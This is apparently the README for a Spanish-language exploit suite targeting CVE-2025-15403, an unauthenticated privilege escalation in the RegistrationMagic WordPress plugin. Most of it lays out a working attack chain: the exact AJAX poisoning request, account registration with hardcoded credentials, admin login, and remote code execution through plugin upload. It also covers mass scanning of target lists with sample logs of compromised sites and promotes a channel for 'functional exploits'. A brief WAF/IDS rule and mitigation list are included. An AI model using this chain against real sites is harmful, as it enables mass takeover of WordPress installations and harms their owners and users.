
RegistrationMagic <= 6.0.7.1 - Escalada de privilegios no autenticada vía admin_order
RegistrationMagic <= 6.0.7.1 - Escalada de Privilegios No Autenticada vía admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 La información exclusiva llega aquí primero. Sigue a @KNxploited en Telegram: divulgaciones precisas de CVE, exploits funcionales e investigación profunda de vulnerabilidades. El canal para quienes no esperan las noticias, sino que las crean.
CVE-2025-15403 es una vulnerabilidad de Escalada de Privilegios Crítica con CVSS 9.8 en el plugin RegistrationMagic para WordPress.
La falla existe en la función add_menu del plugin, expuesta sin autenticación a través de la acción AJAX rm_user_exists. Al inyectar un slug vacío en el parámetro order junto con el flag enable_admin_order=yes, un atacante manipula la lógica interna de generación de menús del plugin. Cuando el menú de administración se construye posteriormente, el plugin llama silenciosamente a add_cap('manage_options') sobre el rol objetivo, elevando cualquier cuenta de nivel suscriptor a capacidad administrativa completa.
La causa raíz es que la función add_menu es accesible sin autenticación a través de rm_user_exists, combinada con una validación nula del slug admin_order:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" → empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // ← FULL ADMIN CAPABILITY ADDED
}
}
}
Por qué esto es crítico:
wp_ajax_nopriv_* = cero autenticación necesaria para envenenar la opciónorder=,menu1 supera la comprobación empty(), activando add_cap('manage_options')manage_options es la capacidad más alta de WordPress: equivale a Administrador╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 1 — Unauthenticated Option Poisoning ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← empty first element = empty slug
_Subscriber = 1 ← target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
↓ Plugin stores order=",menu1" into wp_options
↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 2 — Account Acquisition (Subscriber) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register → smart form detection
POST → create subscriber account
Credentials: NXploited / xplpass123
Option B — Use an existing subscriber account.
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 3 — Login + Capability Harvest ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Subscriber account now carries manage_options → full admin panel accessible
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 4 — Deep Verification & RCE via Plugin Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin dashboard accessible ✔️
GET /wp-admin/plugin-install.php → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin uploaded & executed ✔️
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" → CONFIRMED RCE ✔️
Este conjunto de exploits proporciona tres modos distintos para cubrir todo el ciclo de vida del ataque:
pip install requests colorama urllib3
Se requiere Python 3.8+. Se recomienda Python 3.10+ (usa sugerencias de tipo unión
X | Y).
CVE-2025-15403/
├── CVE-2025-15403.py # Main exploit suite
├── list.txt # Target URLs — one per line
│
├── rm_register_results.txt # Mode 0: successful registrations
├── rm_exploit_results.txt # Mode 1 & 2: primitive fire log
├── rm_admin_verify.txt # Mode 2: login + admin verification log
├── rm_plugin_uploads.txt # Mode 2: plugin upload attempt log
│
├── rm_admin_dashboard_success.txt # ✔ Sites where admin dashboard confirmed
├── rm_plugin_install_access.txt # ✔ Sites where plugin-install page accessible
└── rm_plugin_rce_success.txt # ✔ Sites where RCE via plugin upload confirmed
Los tres archivos
_successal final representan niveles graduados de compromiso: cada uno se escribe de forma independiente en cuanto se confirma su condición.
Crea list.txt con una URL o nombre de host por línea:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
Los nombres de host sin esquema reciben automáticamente el prefijo
https://. Las instalaciones de WordPress en subdirectorios (p. ej./wordpress) se detectan y manejan automáticamente.
python CVE-2025-15403.py
Se te pedirán interactivamente todos los parámetros. Ejemplo de sesión para el Modo 2:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtSitios donde la cuenta de suscriptor accedió con éxito a /wp-admin/ tras la escalada de privilegios:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtSitios donde la página de instalación de plugins era accesible (confirma manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtSitios donde se subió y ejecutó un plugin de prueba: RCE confirmado:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
El Modo 2 realiza una verificación graduada en tres etapas: cada etapa es independiente y escribe su propio archivo de resultados:
Stage 1 — Admin Dashboard
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Check for: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → writes to rm_admin_dashboard_success.txt
Stage 2 — Plugin Install Page Access
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Check for: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → writes to rm_plugin_install_access.txt
Stage 3 — Real Plugin Upload + Execution (RCE Proof)
Extract _wpnonce from plugin-install page
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (in-memory generated)
GET /wp-content/plugins/Nxploited/hello.php
Check response body contains "Nxploited"
✔ → writes to rm_plugin_rce_success.txt
Cada etapa que se supera se registra de forma independiente: un objetivo que supera la Etapa 1 pero no la Etapa 3 queda igualmente registrado en rm_admin_dashboard_success.txt.
El Modo 0 utiliza un analizador HTML personalizado para detectar y enviar automáticamente los formularios de registro de WordPress, incluidos los formularios personalizados de RegistrationMagic:
Probe URLs (in order):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
For each page:
→ Parse all <form> elements
→ Score each form (0–200 points):
+100 "user_login" + "user_email" fields present
+ 60 Email + username-like fields present
+ 30 rm_* prefixed input fields (RegistrationMagic specific)
+ 20 form id/class contains "register" / "signup"
+ 10 Page body mentions "register" / "sign up"
→ Submit highest-scoring form (threshold: 40+)
→ Verify success via response body / redirect URL
Patrón de red generado por el exploit, para defensores y autores de WAF/IDS:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
Regla WAF / IDS (seudocódigo):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)
Detección adicional: envenenamiento de la opción:
Monitor wp_options table:
IF option_name = "rm_admin_order"
AND option_value STARTS WITH ","
THEN ALERT — potential CVE-2025-15403 exploitation
Si eres propietario de un sitio, desarrollador o defensor, actúa de inmediato:
wp_options: comprueba el valor de rm_admin_order en busca de entradas sospechosas (p. ej., que comiencen con ,)manage_optionswp_ajax_nopriv_*: nunca expongas funciones de escritura de opciones sin autenticaciónorder: rechaza valores que contengan segmentos de slug vacíosadmin-ajax.php que contengan rm_options_admin_menu a nivel de WAFrm_user_exists desde fuentes no autenticadasESTA HERRAMIENTA SE PROPORCIONA ESTRICTAMENTE CON FINES EDUCATIVOS, DE PRUEBAS DE PENETRACIÓN AUTORIZADAS E INVESTIGACIÓN DE SEGURIDAD ÚNICAMENTE.
Al descargar, ejecutar o modificar este script, aceptas explícitamente:
• Tienes AUTORIZACIÓN EXPLÍCITA Y POR ESCRITO del propietario de cada
sistema objetivo que pruebes. Sin excepciones. Sin suposiciones.
• Operas dentro de un compromiso de pruebas de penetración formalmente
delimitado y autorizado, o en un entorno de laboratorio controlado que posees.
• NO desplegarás esta herramienta contra ningún sistema, red o
infraestructura sin permiso legal documentado.
• Nxploited y todos los colaboradores NO asumen NINGUNA responsabilidad por
el uso no autorizado, la pérdida de datos, los daños al sistema, los
procedimientos legales o el enjuiciamiento penal derivados del uso de esta
herramienta, en cualquier forma.
El uso no autorizado de este exploit constituye un delito penal según:
— Computer Fraud and Abuse Act (CFAA), EE. UU.
— Computer Misuse Act (CMA), Reino Unido
— Directiva de la UE 2013/40/UE sobre ataques contra sistemas de información
— Ley Anticiberdelincuencia de Arabia Saudita (No. M/17)
— Y toda la legislación nacional e internacional equivalente sobre delitos informáticos.
ÚSALA RESPONSABLEMENTE. HACKEA ÉTICAMENTE. DIVULGA RESPONSABLEMENTE.
| Alias | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Sigue a @KNxploited en Telegram CVEs recientes. Exploits funcionales. Sin ruido. Sin demora. El canal donde los investigadores serios se mantienen afilados.
| Campo | Detalles |
|---|
| ID CVE | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versiones Afectadas | Todas las versiones hasta la 6.0.7.1 inclusive |
| Tipo de Vulnerabilidad | Escalada de Privilegios No Autenticada |
| Requisito de Ataque | Etapa AJAX: Ninguno. Explotación: Cuenta de suscriptor |
| Vector de Ataque | Red |
| Puntuación CVSS 3.1 | 9.8 CRÍTICA |
| Vector CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impacto | Toma de control total del Administrador de WordPress |
| Investigador | Nxploited |
| Modo | Nombre | Descripción |
|---|
0 | Solo Registro | Detección inteligente de formularios de WordPress + registro de cuenta de suscriptor |
1 | Solo Exploit | Dispara la primitiva AJAX no autenticada para envenenar admin_order |
2 | Exploit + Login + Verificación | Cadena completa: primitiva → login → panel de administración → instalación de plugin → RCE |
| Dependencia | Propósito |
|---|
requests | Sesiones HTTP, manejo de cookies, seguimiento de redirecciones |
colorama | Salida de terminal coloreada multiplataforma |
urllib3 | Supresión de advertencias SSL para certificados autofirmados |
concurrent.futures | Pool de hilos para escaneo multiobjetivo de alto rendimiento |
zipfile | Generación en memoria del ZIP del plugin de prueba para verificar RCE |
html.parser | Detección inteligente de formularios de registro y extracción de campos |
| Color | Etiqueta | Significado |
|---|
| 🔵 Cian | info | Informativo: inicio de modo, configuración |
| 🟢 Verde | ok | Éxito total: acceso de administrador o RCE confirmado |
| 🟡 Amarillo | warn | Resultado parcial: primitiva OK pero login fallido, etc. |
| 🔴 Rojo | err | Fallo grave: archivo no encontrado, excepción, bloqueo |
| Parámetro | Predeterminado | Descripción |
|---|
| Modo | 0 | Modo de ataque: 0 = Registrar, 1 = Exploit, 2 = Cadena completa |
| Archivo de objetivos | list.txt | Archivo que contiene las URLs objetivo |
| Hilos | 5 (sin máximo fijo) | Trabajadores concurrentes de ThreadPoolExecutor |
| Tiempo de espera | 10 segundos | Tiempo de espera HTTP por solicitud |
| Clave de rol | _Subscriber | Rol de WordPress a escalar (_Editor, _Author, etc.) |
| Nombre de usuario | NXploited | Cuenta a registrar / con la que iniciar sesión |
| Contraseña | xplpass123 | Contraseña de la cuenta |
| Enviar primitiva | yes | Si se dispara la etapa AJAX antes del login en el Modo 2 |